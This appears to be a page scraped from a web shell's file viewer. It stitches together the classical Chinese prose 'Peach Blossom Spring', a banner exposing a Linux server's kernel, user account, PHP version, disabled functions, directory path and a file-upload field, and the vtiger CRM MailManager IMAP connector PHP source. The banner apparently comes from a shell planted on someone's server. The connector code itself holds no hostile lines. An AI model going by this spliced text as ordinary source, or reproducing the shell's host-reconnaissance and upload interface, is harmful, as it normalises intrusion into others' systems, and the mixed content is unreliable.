晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/MailManager/connectors/ |
Upload File : |
<?php
/*+**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.1
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
************************************************************************************/
vimport ('~modules/MailManager/models/Message.php');
class MailManager_Connector_Connector {
/*
* Cache interval time
*/
static $DB_CACHE_CLEAR_INTERVAL = "-1 day"; // strtotime
/*
* Mail Box URL
*/
public $mBoxUrl;
/*
* Mail Box connection instance
*/
public $mBox;
/*
* Last imap error
*/
protected $mError;
/*
* Mail Box folders
*/
protected $mFolders = false;
/**
* Modified Time of the mail
*/
protected $mModified = false;
/*
* Base URL of the Mail Box excluding folder name
*/
protected $mBoxBaseUrl;
/**
* Connects to the Imap server with the given parameters
* @param $model MailManager_Model_Mailbox Instance
* $param $folder String optional - mail box folder name
* @returns MailManager_Connector Object
*/
public static function connectorWithModel($model, $folder='') {
$port = 143; // IMAP
if (strcasecmp($model->protocol(), 'pop') === 0) $port = 110; // NOT IMPLEMENTED
else if (strcasecmp($model->ssltype(), 'ssl') === 0) $port = 993; // IMAP SSL
$url = sprintf('{%s:%s/%s/%s/%s}%s', $model->server(), $port, $model->protocol(),
$model->ssltype(), $model->certvalidate(), $folder);
$baseUrl = sprintf('{%s:%s/%s/%s/%s}', $model->server(), $port, $model->protocol(),
$model->ssltype(), $model->certvalidate());
return new self($url, $model->username(), $model->password(), $baseUrl, $model->serverName());
}
/**
* Opens up imap connection to the specified url
* @param $url String - mail server url
* @param $username String - user name of the mail box
* @param $password String - pass word of the mail box
* @param $baseUrl Optional - url of the mailserver excluding folder name.
* This is used to fetch the folders of the mail box
*/
public function __construct($url, $username, $password, $baseUrl=false, $serverName = '') {
$boxUrl = $this->convertCharacterEncoding(html_entity_decode($url),'UTF7-IMAP','UTF-8'); //handle both utf8 characters and html entities
$this->mBoxUrl = $boxUrl;
$this->mBoxBaseUrl = $baseUrl; // Used for folder List
/**
* disabled Kerberos authentication
* reference : http://sugarcrmsolutions.blogspot.in/2013/12/problems-in-email-integration.html
*/
if($serverName == 'gmail') {
$this->mBox = @imap_open($boxUrl, $username, $password);
} else {
$this->mBox = @imap_open($boxUrl, $username, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
}
$this->isError();
}
/**
* Closes the connection
*/
public function __destruct() {
$this->close();
}
/**
* Closes the imap connection
*/
public function close() {
if (!empty($this->mBox)) {
if ($this->mModified) imap_close($this->mBox, CL_EXPUNGE);
else imap_close($this->mBox);
$this->mBox = null;
}
}
/**
* Checks for the connection
*/
public function isConnected() {
return !empty($this->mBox);
}
/**
* Returns the last imap error
*/
public function isError() {
$errors = imap_errors();
if($errors !== false) {
$this->mError = implode(', ',$errors);
} else {
$this->mError = imap_last_error();
}
return $this->hasError();
}
/**
* Checks if the error exists
*/
public function hasError() {
return !empty($this->mError);
}
/**
* Returns the error
*/
public function lastError() {
return $this->mError;
}
/**
* Reads mail box folders
* @param string $ref Optional -
*/
public function folders($ref="{folder}") {
if ($this->mFolders) return $this->mFolders;
$result = imap_getmailboxes($this->mBox, $ref, "*");
if ($this->isError()) return false;
$folders = array();
foreach($result as $row) {
$folderName = str_replace($ref, "", $row->name);
$folder = $this->convertCharacterEncoding( $folderName, "UTF-8", "UTF7-IMAP" ); //Decode folder name
$folders[] = $this->folderInstance($folder);
}
$this->mFolders = $folders;
return $folders;
}
/**
* Used to update the folders optionus
* @param imap_stats flag $options
*/
public function updateFolders($options=SA_UNSEEN) {
$this->folders(); // Initializes the folder Instance
foreach($this->mFolders as $folder) {
$this->updateFolder($folder, $options);
}
}
/**
* Updates the mail box's folder
* @param MailManager_Model_Folder $folder - folder instance
* @param $options imap_status flags like SA_UNSEEN, SA_MESSAGES etc
*/
public function updateFolder($folder, $options) {
$mailbox = $this->convertCharacterEncoding($folder->name($this->mBoxUrl), "UTF7-IMAP","ISO_8859-1"); //Encode folder name
$result = @imap_status($this->mBox, $mailbox, $options);
if ($result) {
if (isset($result->unseen)) $folder->setUnreadCount($result->unseen);
if (isset($result->messages)) $folder->setCount($result->messages);
}
}
/**
* Returns MailManager_Model_Folder Instance
* @param String $name - folder name
*/
public function folderInstance($name) {
vimport('modules/MailManager/models/Folder.php');
return new MailManager_Folder_Model($name);
}
/**
* Sets a list of mails with paging
* @param String $folder - MailManager_Model_Folder Instance
* @param Integer $start - Page number
* @param Integer $maxLimit - Number of mails
*/
public function folderMails($folder, $start, $maxLimit) {
$folderCheck = @imap_check($this->mBox);
if ($folderCheck->Nmsgs) {
$reverse_start = $folderCheck->Nmsgs - ($start*$maxLimit);
$reverse_end = $reverse_start - $maxLimit + 1;
if ($reverse_start < 1) $reverse_start = 1;
if ($reverse_end < 1) $reverse_end = 1;
$sequence = sprintf("%s:%s", $reverse_start, $reverse_end);
$records = imap_fetch_overview($this->mBox, $sequence);
$mails = array();
$mailIds = array();
// to make sure this should not break in Vtiger6
$layout = Vtiger_Viewer::getDefaultLayoutName();
if($layout == "v7"){
$mbox = false;
} else {
$mbox = $this->mBox;
}
foreach($records as $result) {
$message = MailManager_Message_Model::parseOverview($result,$mbox);
$mailIds[] = $message->msgNo();
array_unshift($mails, $message);
}
$folder->setMails($mails);
$folder->setMailIds($mailIds);
$folder->setPaging($reverse_end, $reverse_start, $maxLimit, $folderCheck->Nmsgs, $start);
}
}
/**
* Return the cache interval
*/
public function clearDBCacheInterval() {
// TODO Provide configuration option.
if (self::$DB_CACHE_CLEAR_INTERVAL) {
return strtotime(self::$DB_CACHE_CLEAR_INTERVAL);
}
return false;
}
/**
* Clears the cache data
*/
public function clearDBCache() {
// Trigger purne any older mail saved in DB first
$interval = $this->clearDBCacheInterval();
$timenow = strtotime("now");
// Optimization to avoid trigger for ever mail open (with interval specified)
$lastClearTimeFromSession = false;
if ($interval && isset($_SESSION) && isset($_SESSION['mailmanager_clearDBCacheIntervalLast'])) {
$lastClearTimeFromSession = intval($_SESSION['mailmanager_clearDBCacheIntervalLast']);
if (($timenow - $lastClearTimeFromSession) < ($timenow - $interval)) {
$interval = false;
}
}
if ($interval) {
MailManager_Message_Model::pruneOlderInDB($interval);
$_SESSION['mailmanager_clearDBCacheIntervalLast'] = $timenow;
}
}
/**
* Function which deletes the mails
* @param String $msgno - List of message number seperated by commas.
*/
public function deleteMail($msgno) {
$msgno = trim($msgno,',');
$msgno = explode(',',$msgno);
for($i = 0;$i<count($msgno);$i++) {
@imap_delete($this->mBox, $msgno[$i]);
}
imap_expunge($this->mBox);
}
/**
* Function which moves mail to another folder
* @param String $msgno - List of message number separated by commas
* @param String $folderName - folder name
*/
public function moveMail($msgno, $folderName) {
$msgno = trim($msgno,',');
$msgno = explode(',',$msgno);
$folder = $this->convertCharacterEncoding(html_entity_decode($folderName),'UTF7-IMAP','UTF-8'); //handle both utf8 characters and html entities
for($i = 0;$i<count($msgno);$i++) {
@imap_mail_move($this->mBox, $msgno[$i], $folder);
}
@imap_expunge($this->mBox);
}
/**
* Creates an instance of Message
* @param String $msgno - Message number
* @return MailManager_Model_Message
*/
public function openMail($msgno, $folder) {
$this->clearDBCache();
return new MailManager_Message_Model($this->mBox, $msgno, true, $folder);
}
/**
* Marks the mail as Unread
* @param <String> $msgno - Message Number
*/
public function markMailUnread($msgno) {
imap_clearflag_full( $this->mBox, $msgno, '\\Seen');
$this->mModified = true;
}
/**
* Marks the mail as Read
* @param String $msgno - Message Number
*/
public function markMailRead($msgno) {
imap_setflag_full($this->mBox, $msgno, '\\Seen');
$this->mModified = true;
}
/**
* Searches the Mail Box with the query
* @param String $query - imap search format
* @param MailManager_Model_Folder $folder - folder instance
* @param Integer $start - Page number
* @param Integer $maxLimit - Number of mails
*/
public function searchMails($query, $folder, $start, $maxLimit) {
$nos = imap_search($this->mBox, $query);
if (!empty($nos)) {
$nmsgs = count($nos);
$reverse_start = $nmsgs - ($start*$maxLimit);
$reverse_end = $reverse_start - $maxLimit;
if ($reverse_start < 1) $reverse_start = 1;
if ($reverse_end < 1) $reverse_end = 0;
if($nmsgs > 1)
$nos = array_slice($nos, $reverse_end, ($reverse_start-$reverse_end));
// Reverse order the messages
rsort($nos, SORT_NUMERIC);
$mails = array();
$records = imap_fetch_overview($this->mBox, implode(',', $nos));
// to make sure this should not break in Vtiger6
$layout = Vtiger_Viewer::getDefaultLayoutName();
if($layout == "v7"){
$mbox = false;
} else {
$mbox = $this->mBox;
}
foreach($records as $result) {
array_unshift($mails, MailManager_Message_Model::parseOverview($result,$mbox));
}
$folder->setMails($mails);
$folder->setMailIds($nos);
$folder->setPaging($reverse_end, $reverse_start, $maxLimit, $nmsgs, $start); //-1 as it starts from 0
}
}
/**
* Returns list of Folder for the Mail Box
* @return Array folder list
*/
public function getFolderList() {
if(!empty($this->mBoxBaseUrl)) {
$list = @imap_list($this->mBox, $this->mBoxBaseUrl, '*');
if (is_array($list)) {
foreach ($list as $val) {
$folder = $this->convertCharacterEncoding( $val, 'UTF-8', 'UTF7-IMAP' ); //Decode folder name
$folderList[] = preg_replace("/{(.*?)}/", "", $folder);
}
}
}
return $folderList;
}
public function convertCharacterEncoding($value, $toCharset, $fromCharset) {
if (function_exists('mb_convert_encoding')) {
$value = mb_convert_encoding($value, $toCharset, $fromCharset);
} else {
$value = iconv($toCharset, $fromCharset, $value);
}
return $value;
}
}
?>